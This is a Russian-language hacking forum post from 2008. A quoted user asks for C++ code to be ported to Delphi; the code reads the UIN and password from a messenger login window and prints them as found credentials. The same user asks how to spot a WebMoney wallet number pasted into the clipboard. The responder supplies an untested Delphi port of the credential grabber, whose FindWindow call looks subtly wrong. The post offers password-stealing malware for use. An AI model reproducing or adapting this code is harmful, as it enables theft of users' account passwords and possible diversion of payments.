Показать сообщение отдельно

  #1402  
Старый 26.04.2008, 23:02
Dr.KoD
Познающий
Регистрация: 01.03.2008
Сообщений: 68
Провел на форуме:
140772

Репутация: 72
По умолчанию

Цитата:
Сообщение от Nightmarе  
Кто нибудь может этот код из С++ перегнать на делфи???
Код:
void main()
{
// Объявим переменные, необходимые для работы
HWND hManForm,hGroupBox,hEdit,hComboBox; // Идентификаторы форм
char* pUIN; // Указатель на буфер для UIN
char* pPass; // Указатель на буфер для пароля
int iUIN; // Длина UIN
int iPass; // Длина пароля

// Найдем окно диалога авторизации
hManForm=FindWindow("TManForm",0);
// Расположенная на нем группа элементов управления
hGroupBox=FindWindowEx(hManForm,0,"TGroupBox",0);

// Список с UIN'ами
hComboBox=FindWindowEx(hGroupBox,0,"TComboBox",0);
// Получим длину текста в списке
iUIN=SendMessage(hComboBox, WM_GETTEXTLENGTH, 0, 0)+1;
// Выделяем необходимую память для буфера
pUIN=(char*)LocalAlloc(0, iUIN);
// Получим непосредственно текст
SendMessage(hComboBox, WM_GETTEXT, iUIN, (long)pUIN);

// Поле с паролем
hEdit=FindWindowEx(hGroupBox,0,"TEdit",0);
// Дальше все по аналогии с UIN'ом
iPass=SendMessage(hEdit, WM_GETTEXTLENGTH, 0, 0)+1;
pPass=(char*)LocalAlloc(0, iPass);
SendMessage(hEdit, WM_GETTEXT, iPass, (long)pPass);

//Выведем что получилось
cout << "[!!!]Found for: "<< pUIN << "\tPassword: " << pPass;

// Освободим память
LocalFree(pUIN);
LocalFree(pPass);
}
И ещё, если не сложно подскажите как отследить на делфи, если в буфер обмена только что вставили WM кошелёк??? То есть первая буква Z, а дальше 12 цифр.
Код:
var
hManForm,hGroupBox,hEdit,hComboBox:HWND;
pUin:String;
pPass:String;
iUin:integer;
iPass:integer;
begin
hManForm:= findwindow(nil, 'TManForm');
  if hManForm <> 0 then
  begin
hGroupBox:=FindWindowEx(hManForm,0,'TGroupBox',nil);
hComboBox:=FindWindowEx(hGroupBox,0,'TComboBox',nil);
iUIN:=SendMessage(hComboBox, WM_GETTEXTLENGTH, 0, 0);
if (iUin>0) then
begin
iUin:=iUin+1;
setlength(pUin, iUin);
sendmessage(hComboBox, wm_gettext, iUin, longint(@pUin[1]));
 end;
 hEdit:=FindWindowEx(hGroupBox,0,'TEdit',nil);
iPass:=SendMessage(hEdit, WM_GETTEXTLENGTH, 0, 0);
if (iPass>0) then
begin
 iPass:=iPass+1;
setlength(pPass, iPass);
sendmessage(hEdit, wm_gettext, iPass, longint(@pPass[1]));
end;
end;
 end;
Держи, тут же ничего сложного нет все на чистом WinAPI, вроде в коде ошибок нету, но на работос пособность не проверял(насколько он выполняет свои функции, т.к. незнаю для какой проги ты пишеш, но тут все предельно ясно просто если, что поменяеш названия элементов и окна). Конечный результат заносится в буфер, а че с ним делать решать тебе, толи пихнуть в файл толи вывести сообщение, это уже сам, если что пиши.
 
Ответить с цитированием